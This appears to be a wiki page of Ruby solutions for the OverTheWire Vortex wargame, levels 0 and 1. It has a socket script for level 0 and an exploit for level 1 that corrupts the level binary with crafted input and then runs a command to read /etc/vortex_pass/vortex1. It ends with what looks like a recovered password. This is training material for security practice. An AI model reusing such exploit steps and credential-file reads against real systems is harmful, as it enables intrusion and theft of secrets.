This is an old revision of the document!
Over The Wire - Vortex
Level 0
require 'socket' TCPSocket.open('vortex.labs.overthewire.org', 5842) do |s| sum = 0 4.times {sum += s.recv(4).unpack('V').first} s.send([sum].pack('V'), 0) response = '' response += s.read() until s.eof? puts response end
Level 1
require 'pty' begin PTY.spawn("/vortex/level1") do |stdin, stdout, pid| 257.times {stdout.write "\\"} 1.times {stdout.write [0xca].pack('V')} 1.times {stdout.write "\\"} 1.times {stdout.write [0xff].pack('V')} reader = Thread.new { STDOUT.sync = true STDOUT.write(stdin.readline) until stdin.eof? puts 'Exiting reader' } stdout.write "cat /etc/vortex_pass/vortex1\n" end rescue => e puts e end
23anbT\rE